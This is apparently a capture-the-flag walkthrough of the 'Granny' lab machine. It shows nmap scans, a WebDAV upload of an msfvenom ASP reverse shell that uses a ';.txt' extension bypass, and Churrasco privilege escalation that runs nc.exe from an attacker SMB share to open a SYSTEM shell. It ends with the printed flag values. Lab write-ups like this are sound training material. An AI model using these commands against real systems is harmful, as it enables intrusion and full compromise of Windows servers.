Granny
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As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.15 -oN allPorts
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5 insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oN save the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80 10.10.10.15 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oN save the scan result into file, in this case the targeted file.
As we can see in the nmap scan, HTTP methods such as PUT or COPY can be used in the web server. We could try to use the cadaver tool, and see if we can upload malicious payload on the web server.
cadaver 10.10.10.15
dav:/> ls
We can see all the files in the directory. As we can see in this exploit, we could upload a malicious file with the .txt extension, and then rename it to .asp so we can execute it. First, let's create the malicious file with the .txt extension.
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.7 lport=4444 -f asp -o shell.txt
-p indicates the type of payload.
lhost local host IP.
lport local port of the listener.
-f output format.
-o save the output to a file.
Now, let's upload it with the cadaver shell.
dav:/> put shell.txt
Now, we'll have to rename it so it has the .asp extension.
dav:/> copy shell.txt shell.asp;.txt
Before executing the file, let's set a netcat listener on port 4444 with rlwrap.
rlwrap nc -lvnp 4444
-l listen mode.
-v verbose mode.
-n numeric-only IP, no DNS resolution.
-p specify the port to listen on.
Finally, if we access the shell.asp file, we should get a reverse shell as the nt authority\network service user.
curl "http://10.10.10.15/shell.asp;.txt"
Let's see what privileges the user nt authority\network service has.
whoami /priv
If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.
To escalate privileges, we'll have to transfer JuicyPotato.exe to the victim machine. Let's set a SMB server with the impacket library, on the directory where we have the JuicyPotato binary.
impacket-smbserver sambaFolder $(pwd) -smb2support
And download the binaries from the \windows\temp folder.
copy \\10.10.14.7\sambaFolder\JuicyPotato.exe JuicyPotato.exe
If we execute it, we'll get an error saying that the binary is incompatible with the system architecture.
JuicyPotato.exe
But, no worries, there is an alternative to JuicyPotato. It is called Churrasco, and you can download it from here. Once you download it, transfer it to the Windows machine with the same method we did before. And if we execute it indicating the whoami command, we'll see that we can execute commands as the nt authority\system user.
churrasco.exe "whoami"
Let's get a shell as the nt authority\system user. First, let's set a netcat listener on port 5555.
rlwrap nc -lvnp 5555
-l listen mode.
-v verbose mode.
-n numeric-only IP, no DNS resolution.
-p specify the port to listen on.
Then, let's set another SMB server on the directory where the nc.exe binary is.
impacket-smbserver sambaFolder $(pwd) -smb2support
And finally, execute the following command on the Windows machine, which will send a shell as the nt authority\system user to the netcat listener.
churrasco.exe "\\10.10.14.7\sambaFolder\nc.exe -e cmd 10.10.14.7 5555"
Finally, all we have to do is reap the harvest and take the user and the root flag.
# Nmap 7.92 scan initiated Tue Jun 28 14:57:28 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.15
Nmap scan report for 10.10.10.15
Host is up (0.048s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
# Nmap done at Tue Jun 28 14:57:55 2022 -- 1 IP address (1 host up) scanned in 27.18 seconds# Nmap 7.92 scan initiated Tue Jun 28 14:58:12 2022 as: nmap -sCV -p80 -oN targeted 10.10.10.15
Nmap scan report for 10.10.10.15
Host is up (0.036s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
| http-webdav-scan:
| Server Type: Microsoft-IIS/6.0
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Server Date: Tue, 28 Jun 2022 12:58:23 GMT
|_ WebDAV type: Unknown
|_http-title: Under Construction
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 28 14:58:22 2022 -- 1 IP address (1 host up) scanned in 9.98 secondsListing collection `/': succeeded.
Coll: _private 0 Apr 12 2017
Coll: _vti_bin 0 Apr 12 2017
Coll: _vti_cnf 0 Apr 12 2017
Coll: _vti_log 0 Apr 12 2017
Coll: _vti_pvt 0 Apr 12 2017
Coll: _vti_script 0 Apr 12 2017
Coll: _vti_txt 0 Apr 12 2017
Coll: aspnet_client 0 Apr 12 2017
Coll: images 0 Apr 12 2017
_vti_inf.html 1754 Apr 12 2017
iisstart.htm 1433 Feb 21 2003
pagerror.gif 2806 Feb 21 2003
postinfo.html 2440 Apr 12 2017Uploading shell.txt to `/shell.txt':
Progress: [=============================>] 100.0% of 38470 bytes succeeded.Copying `/shell.txt' to `/shell.asp%3b.txt': succeeded.listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.15] 1031
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
whoami
whoami
nt authority\network servicePRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAuditPrivilege Generate security audits Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledThe image file C:\WINDOWS\Temp\JuicyPotato.exe is valid, but is for a machine type other than the current machine.nt authority\systemlistening on [any] 5555 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.15] 1037
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
whoami
whoami
nt authority\systemtype "\Documents and Settings\Lakis\desktop\user.txt"
700c5dc163014e22b3e408f8703f67d1
type "\Documents and Settings\administrator\desktop\root.txt"
aa4beed1c0584445ab463a6747bd06e9